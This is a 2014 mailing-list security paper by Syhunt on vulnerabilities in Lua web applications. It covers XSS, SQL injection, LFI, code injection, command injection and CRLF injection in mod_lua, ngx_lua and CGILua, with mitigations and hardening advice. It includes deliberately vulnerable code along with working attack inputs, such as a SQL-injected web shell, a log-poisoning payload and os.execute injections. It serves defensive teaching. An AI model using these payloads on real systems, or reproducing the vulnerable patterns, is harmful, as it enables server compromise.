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Lua Web Application Security Vulnerabilities

From: Felipe Daragon <felipe () syhunt com>

Date: Mon, 26 May 2014 20:43:37 -0300

LUA WEB APPLICATION SECURITY VULNERABILITIES

Auditing and Defending Lua-Based Web Applications

By Felipe Daragon - May 26, 2014

This paper intends to highlight the risk of unvalidated input in

Lua-based web applications.

Some time ago I wrote about how to detect NoSQL and server-side
JavaScript (SSJS) injection vulnerabilities using time-based techniques.
JavaScript is still rising and becoming more popular as a platform for
server-side code (http://www.techworld.com.au/article/536950/rise_rise_javascript/).

This time I want to cover security aspects of another language/framework

that is being increasingly adopted for web development and that has a
lot of potential: Lua.

Lua is a powerful language useful for experienced programmers but

considered easy for inexperienced programmers at the same time. While
Lua has been mostly used for game development, there exists a growing
ecosystem of Lua web applications and frameworks. Mature web servers,
like Apache & Nginx, are the prefered choice for many that are creating
or thinking about creating their first Lua-based web applications -
together they account for over 70% of the world's web servers and are
solid choices to start. Alternative, pioneer Lua web programming tools
like CGILua have been around for a while. CGILua runs on top of Apache
or any CGI-enabled web server.

At Syhunt, we've been using Lua for quite some time as part of our web
application security tools and a primary scripting language, and
recently we started using internally the Lua modules for the Apache and
Nginx web servers, known as mod_lua and ngx_lua respectively. I decided
to check myself how insecurely coded Lua web applications could be
targeted and how easily the servers in question could be compromised.
To perform the tests, I created a small collection of insecure web
applications with input validations issues tailored to each web server
software.

THE RESULTS

My simulations covered File System Attacks, Cross-Site Scripting (XSS),

Local File Inclusion (LFI), OS Command Injection, SQL Injection, Lua
Code Injection, CRLF Injection and other top vulnerability classes. I

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found no way to perform Remote File Inclusion attacks like in PHP, but
Lua (at the current state) fails to thwart some attacks that are only
possible in older PHP versions. When Lua Pages was available, Log
Poisoning was successfully used to upgrade a LFI vulnerability to remote
command execution. Time-based techniques were used to spot Lua Code
Injection vulnerabilities, and SQL Injection vulnerabilities, which then
were used to upload a Lua web shell (backdoor) to the web servers
hosting the vulnerable web applications.

Coding securely is hard, even for experienced programmers, no matter the

programming language you use. If you are a web developer working with
Lua, it is highly recommended that you learn about the coding mistakes
that impact security and give rise to these vulnerabilities. This paper
will go through the most common and important ones. If, instead, you are
a pen-tester tasked with securing a website that is using Lua, this
paper may be equally useful to you.

This paper demonstrates that skilled and even unskilled attackers can
take deep advantage of the weaknesses listed above, and quickly uncover
the flaws using automated methods. At the end you will also find some
tips for hardening the web server configuration.

CROSS-SITE SCRIPTING (XSS)

One of the most common vulnerabilities in today's web applications, XSS

attacks (CWE-79) can be used to hijack user sessions, conduct phishing
attacks, execute malicious code in the context of the user's session,
spread malware and more. There are different types of XSS, such as
reflected (shown in the examples above) and stored on the server (eg in
a database). To prevent XSS attacks, escape user-supplied data on output
or validate user input.

Print functions
mod_lua: r:puts(), r:write()
ngx_lua: ngx.say(), ngx.print()
CGILua: cgilua.put(), cgilua.print(), <?=somevar?>

Vulnerable code examples:

-- /vulnerable.lua?name=<script>alert('XSS');</script>
-- Apache & mod_lua
function handle(r)
local name = r:parseargs().name or ""
r:puts(name)
end

-- Nginx & ngx_lua

local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.say(name)

-- CGILua
local name = cgilua.QUERY.name or ""
cgilua.htmlheader()
cgilua.put(name)

Solution

local name = ngx.req.get_uri_args().name or ""

name = htmlescape(name) -- see an example at the end of this paper
ngx.header.content_type = "text/html"
ngx.say(name)

SQL INJECTION

SQL Injection attacks (CWE-89) are used by bad guys to steal information,
add or change information in a database, shut down access to a web
application, bypass authentication, execute arbitrary commands, among
other things. SQL Injection attacks can be effectively mitigated by
using strong input validation.

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In Lua, the LuaSQL library allows web applications to connect to Oracle,

MySQL, SQLite, PostgreSQL and other databases and execute SQL
statements. mod_lua comes with it's own built-in database API for
running commands on MySQL, PostgreSQL, SQLite, Oracle and other
databases. Whichever option you choose for running SQL commands, be
careful with user supplied input and use input validation.

The mod_lua documentation recommends the use of prepared statements

whenever possible as a way to minimize the risk of SQL injection
attacks. See the notes about precautions when working with databases at:
http://www.modlua.org/api/database#database_caveat

SQL execution functions

LuaSQL's conn:execute()
mod_lua's DB API: db:query(), ... (see http://www.modlua.org/api/database)

Vulnerable code example:

-- mod_lua DB API
function handle(r)
r.content_type = "text/html"
local username = r:parseargs().username or ""
local database, err = r:dbacquire("mysql", "host=localhost,user=user,pass=,dbname=dbname")
if not err then
local sl = 'SELECT * FROM users WHERE username="'..username..'"'
local results, err = database:query(r,sl)
-- (...)
database:close()
else
r:puts("Could not connect to the database: " .. err)
end
end

-- CGILua & LuaSQL

-- /vulnerable.lua?name=John');SQLBELOW
-- /shell.lp?cmd=dir
cgilua.htmlheader()
local sqlite3 = require "luasql.sqlite3"
local name = cgilua.QUERY.name
local env = sqlite3.sqlite3()
local conn = env:connect('mydb.sqlite')
local sql = [[
CREATE TABLE sample ('id' INTEGER, 'name' TEXT);
INSERT INTO sample values('1','%s')
]]
sql = string.format(sql, name)
for l in string.gmatch(sql, "[^;]+") do
conn:execute(l)
end
-- (...)
conn:close()
env:close()

-- SQLLite shell upload example for CGILua

-- ATTACH DATABASE 'shell.lp' AS shell;
-- CREATE TABLE shell.demo (data TEXT);
-- INSERT INTO shell.demo (data) VALUES ('<? os.execute(cgilua.QUERY.cmd) ?>

The example above works with mod_lua and ngx_lua with some minor changes
if a LP preprocessor extension is enabled, but this is not exclusive of
SQLLite. All SQL engines can be target of similar attacks. Most commonly
targeted is MySQL:
http://www.greensql.com/article/protect-yourself-sqli-attacks-create-backdoor-web-server-
using-mysql

FILESYSTEM ATTACKS

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In some environments, Lua filesystem functions accept parameters

containing null bytes (%00), but do not handle them correctly, treating
the null byte character as string terminator and ignoring all following
characters. The reason is that Lua itself, like PHP, is programmed in C
and relies on the operating system's filesystem functions (see PHP Null
Byte Poisoning http://www.madirish.net/?article=436 and
http://www.php.net/manual/en/security.filesystem.nullbytes.php).

Keep this in mind when dealing with user input, especially when passing
it to filesystem functions.

File system functions

Lua's io library: io.open(), ...

LuaFileSystem (lfs) library functions - http://keplerproject.github.io/luafilesystem
/manual.html
mod_lua: r:mkdir(), r:mkrdir(), r:rmdir(), r:sendfile(), r:touch(), etc

Vulnerable example:

-- Nginx & ngx_lua

-- /vulnerable.lua?file=/etc/passwd%00
-- /vulnerable.lua?file=c:\boot.ini%00
ngx.header.content_type = "text/html"
local file = ngx.req.get_uri_args().file or ""
local f = io.open(file..".txt")
local result = f:read("*a")
f:close()
ngx.say(result)

An effective solution to thwart these kinds of attacks is to avoid

passing user submitted input to any filesystem API.

LOCAL FILE INCLUSION (LFI)

Regularly underestimated both by penetration testers and developers,

Local File Inclusion vulnerabilities are commonly exploited by attackers
to cause source code disclosure or to gain command execution through log
poisoning and other methods.

Include and similar functions

Lua's require(), dofile()

CGILua: cgilua.handlelp(), cgilua.lp.include(), cgilua.doif(), cgilua.doscript()

Vulnerable examples:

-- CGILua
-- /vulnerable.lua?prod=/var/log/apache/access_log%00
-- after sending request with user-agent "<? os.execute(cgilua.QUERY.cmd) ?>"
local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.lp.include(prod..".lp")

-- CGILua (2)
-- /vulnerable.lua?prod=/var/log/apache/access_log%00
local prod = cgilua.QUERY.prod or ""
cgilua.handlelp(prod..".lp")

-- CGILua (3)
-- /vulnerable.lua?prod=somefile.lua%00
local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.doif(prod..".lua")

LUA CODE INJECTION

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This type of vulnerability (known as CWE-94) occurs when a developer

uses the Lua loadstring() function and passes it untrusted data that an
attacker can modify. The loadstring() function will compile the code and
return a function that when called has the same effect as executing the
string. Attackers can use this to inject arbitraty Lua code that is then
executed by the web application.

Time-based detection methods

Using Lua code:

/vulnerable.lua?name=John")%20c%3Dos.clock t%3Dc() while c()- t<%3D3 do end%20x%3D("`

Using LuaSocket:
/vulnerable.lua?name=John")%20require"socket".select(nil,nil,3)%20x%3D("

Using the sleep function (ngx_lua only):

/vulnerable.lua?name=John")%20ngx.sleep(10)%20x%3D("

Using LuaJIT's FFI:

/vulnerable.lua?name=John")%20
ffi%3Drequire"ffi"%20ffi.cdef%20"unsigned%20int%20sleep(unsigned%20int seconds);
"%20ffi.C.sleep(10)%20x%3D("

Vulnerable code examples:

-- ngx_lua
-- /vulnerable.lua?name=John")%20os.execute("notepad.exe
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
local html = string.format([[
ngx.say("Hello, %s")
ngx.say("Today is "..os.date())
]], name)
loadstring(html)()

-- CGILua
-- /vulnerable.lua?name=<? os.execute('ls -la') ?>
-- /vulnerable.lua?name=<? os.execute('dir') ?>
-- Print the source of the vulnerable script:
-- /vulnerable.lua?name=<? cgilua.put(io.open(cgilua.script_path):read('*a')) ?>
local name = cgilua.QUERY.name or ""
cgilua.htmlheader()
local html = string.format([[
<html>
<body>
Hello, %s!
Today is <?=os.date()?>
</body>
</html>
]], name)
html = cgilua.lp.translate(html)
loadstring(html)()

SESSION MANAGEMENT ISSUES

This is another area that web developers often overlook. When not
properly implemented can lead to attackers hijacking active sessions.
This is an aspect that CGILua for example has gotten wrong - it
generates 9-digit session IDs based on OS time and older releases
generate sequential, non-random IDs. In our attack simulations against a
vulnerable CGILua-based web application, we were able to guess valid
session IDs extremely quickly through brute-force attacks. I wrote more
about this vulnerability at:
http://www.syhunt.com/?n=Advisories.Cgilua-weaksessionid

When performing a code review or penetration test, a special attention

must be given to how session identifiers are generated and handled, and

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to the methods used for changing user credentials. Some tools, like the
Burp Sequencer, can highlight anomalies in the generation of session
IDs.

If you are cooking up your own session library, you should use the
standard methods that already exist, instead of making your own.
Consider using the luuid library, which generates 128-bit random IDs
(using /dev/urandom), or any other Lua library that can generate unique
IDs based on high-quality randomness. You can also ask in the mod_lua or
ngx_lua forums - take this email as an example:
https://groups.google.com/forum/#!topic/openresty/iGdgYxd6A64

Chances are that the Lua module developers or someone is already using a
secure session ID generator.

openssl_random_pseudo_bytes() is also available through lua-openssl

(https://github.com/zhaozg/lua-openssl). Because of the recent OpenSSL
security issues, you might prefer to stay away from it, or not. See this
pre-Heartbleed post by timoh6 to understand why:
http://timoh6.github.io/2013/11/05/Secure-random-numbers-for-PHP-developers.html

The Lua's math.random(), like PHP's rand() function, uses the underlying
C library's rand function and is a truly weak random number generator.
Because it is cryptographically insecure (see
http://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator),
it isn't suitable for token generation.

The OWASP has a very good article about best practices for session
management, which I recommend reading:
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Session_ID_Length

For a deeper dive on this subject, see also:

http://phpsecurity.readthedocs.org/en/latest/Insufficient-Entropy-For-Random-Values.html

INSECURE PASSWORD HASHING

When hashing the passwords, use salt and avoid the MD5 and SHA1
functions that come with the Lua modules. MD5 and SHA1 are vulnerable to
collision attack, and are too fast to compute and prevent brute force
(even SHA512 is too fast). Consider slow hashing such as PBKDF2, bcrypt
or scrypt.

Here are two excellent articles about hashing issues by CodingHorror:

http://blog.codinghorror.com/speed-hashing/
http://blog.codinghorror.com/rainbow-hash-cracking/

OS COMMAND INJECTION

OS command injection flaws (CWE-78) allow attackers to run arbitrary

commands on the remote server. Because a command injection vulnerability
may lead to compromise of the server hosting the web application, it is
often considered a very serious flaw. In Lua, this kind of vulnerability
occurs, for example, when a developer uses unvalidated user data to run
operating system commands via the os.execute() or io.popen() Lua
functions.

Vulnerable code examples:

-- /vulnerable.lua?user=demo%20|%20dir%20c:\
-- mod_lua
function handle(r)
local user = r:parseargs().user or ""
local handle = io.popen("dir "..user)
local result = handle:read("*a")
handle:close()
r:puts(result)
end
-- mod_lua (2)
function handle(r)
local user = r:parseargs().user or ""

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os.execute("ls -l /home/"..user)
end

-- ngx_lua
ngx.header.content_type = "text/plain"
local user = ngx.req.get_uri_args().user or ""
local handle = io.popen("ls -l /home/"..user)
local result = handle:read("*a")
handle:close()
ngx.say(result)

CRLF INJECTION

CRLF injection (CWE-93) is a technique that allows attackers to control

HTTP response headers. It is fairly simple, but extremely powerful and
may allow an attacker to perform a myriad of attacks including XSS. Once
again, sanitizing user input before using it in headers prevents a
successful attack.

Note: Apache HTTPd/mod_lua 2.4.10 (TBA) adds protection against this

attack. For more details, see
http://www.mail-archive.com/dev () httpd apache org/msg59607.html

I also contacted the ngx_lua developer, who is considering adding the

same kind of enhancement in future ngx_lua releases.

Header and redirect functions/tables

mod_lua: r.headers_out[]
ngx_lua: ngx.redirect(), ngx.header[]
CGILua: cgilua.redirect(), cgilua.header()

Vulnerable code examples:

-- mod_lua
-- /vulnerable.lua?user=demo%0d%0aNew-Header:SomeValue
-- /vulnerable.lua?user=%0d%0a%0d%0a<script>alert('XSS')</script>
function handle(r)
local user = r:parseargs().user or ""
r.content_type = "text/html"
r.headers_out['X-Test'] = user
r:puts('Some text')
return apache2.OK
end

-- ngx_lua
-- /vulnerable.lua?name=%0d%0aNewHeader:Value
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.redirect("http://www.somehost.com/"..name)

-- ngx_lua (2)
-- /vulnerable.lua?user=test%0d%0aNewHeader:Value
local user = ngx.req.get_uri_args().user or ""
ngx.header['X-Test'] = user
ngx.say('Some text')

-- CGILua
-- /vulnerable.lua?url=http://someurl%0d%0aNew-Header:SomeValue
local url = cgilua.QUERY.url or ""
cgilua.redirect(url)

-- CGILua (2)
-- /vulnerable.lua?demo=test%0d%0aLocation:http://www.somehost.com
local demo = cgilua.QUERY.demo or ""
cgilua.header('X-Test',demo)
cgilua.htmlheader()

MAN IN THE MIDDLE (MITM)

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Man In The Middle attacks are an evolving threat and happen when an
attacker manages to put himself into your traffic stream, where he can
alter or intercept data.

If you wish to protect users from man-in-the-middle attack scenarios:

Deploy HTTPS and set the HTTP Strict Transport Security Header
(http://dev.chromium.org/sts), and the secure flag on all cookies to
reduce this risk.

Adopt a TLS/SSL ciphersuite that supports Forward Secrecy - more about

this at:
https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-
openssl-for-forward-secrecy)

This will make compromised private keys unable to decrypt past

communications.

Keep your server software and Lua libraries up-to-date with the latest
security fixes.

Installing Lua Libraries Over HTTPS

I discussed with the LuaRocks developer about the possibility of an

attacker injecting malicious Lua code in the legit Lua packages using
MITM. LuaRocks and its alternatives have not been designed to defend
against MITM attacks. When installing or updating Lua modules through
these systems, in case you worry about this possibility, you can try to
use the GitHub mirror to download the Lua modules over SSL. To
achievethis, you can invoke the luarocks command using, for example, the
following parameters:

luarocks install --only-server=https://raw.github.com/keplerproject/rocks/master/ luasocket

Because most rockspec files point to URLs beginning with https, this
method will greatly minimize this risk.

VALIDATING USER INPUT

SQL Injection, Code Injection, Command Injection and XSS can be

effectively mitigated by using strong input validation. Most user input
will come from:

mod_lua: r:parseargs(), r:parsebody()

ngx_lua: ngx.req.get_uri_args(), ngx.req.get_post_args()
CGILua: cgilua.POST, cgilua.QUERY

In Lua, like in other programming languages, validation bypass is likely

going to happen because of weak patterns used in pattern-matching
functions, such as string.match(). In ngx_lua, there is ngx.re.gmatch(),
and ngx.re.match(), which allows to work with PCRE expressions. With
mod_lua, expression parsing functions like r:strcmp_match(), r:expr()
and r:regex() can also be used. Developers should pay special attention
when crafting patterns to match strings, because otherwise they may be
bypassed by experienced attackers. A simple validation bypass example:

-- /vulnerable.lua?email=john () somedomain com

-- /vulnerable.lua?email=<script>alert('john () somedomain com XSS')</script>
local email = ngx.req.get_uri_args().email or ""
ngx.header.content_type = "text/html"
if email:match("[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w+") then
ngx.say(email)
end

HTML Escape example

function htmlescape(text)
local special = { ['<']='<', ['>']='>', ['&']='&', ['"']='&quot;' }

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return text:gsub('[<>&"]', special)

end

Be sure to check the valua project (https://github.com/Etiene/valua), a

recently released library for performing input validation, and
http://sputnik.freewisdom.org/lib/xssfilter/ (I still have to check it
thoroughly)

HARDENING THE SERVER CONFIGURATION

In Apache/mod_lua, make sure you limit the scope of the SetHandler

directive by using the FilesMatch directive:

<FilesMatch "\.lua$">
SetHandler lua-script
</FilesMatch>

This will prevent "test.lua.foo" to execute as a Lua script.

Tighten your security by making sure you have PCRE strings that
perfectly match the Lua extensions. Example:

LuaMapHandler "\.lp$"
versus
LuaMapHandler .lp$

The first regular expression example will match .lp, while the second
example will match ulp, xlp, .lp, !lp etc, making your configuration
less secure and restrictive.

ASK IN THE FORUMS

Behind the Lua modules are experienced programmers - mod_lua is

maintained by Daniel Gruno (member of the Apache Software Foundation),
and ngx_lua maintained by Yichun Zhang (CloudFlare). They have been
putting a lot of energy into enhancing the core of the Lua modules,
their performance and stability, and adding new features, and are very
much open to questions, bug reports, and contributions of all kinds.

------------------------------------------------------------------------

Copyright © 2014 Syhunt Security

Disclaimer: The information in this advisory is provided "as is" without

warranty of any kind. Details provided are strictly for educational and
defensive purposes.

Syhunt is not liable for any damages caused by direct or indirect use of
the information provided by this paper.

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Lua Web Application Security Vulnerabilities Felipe Daragon (May 26)

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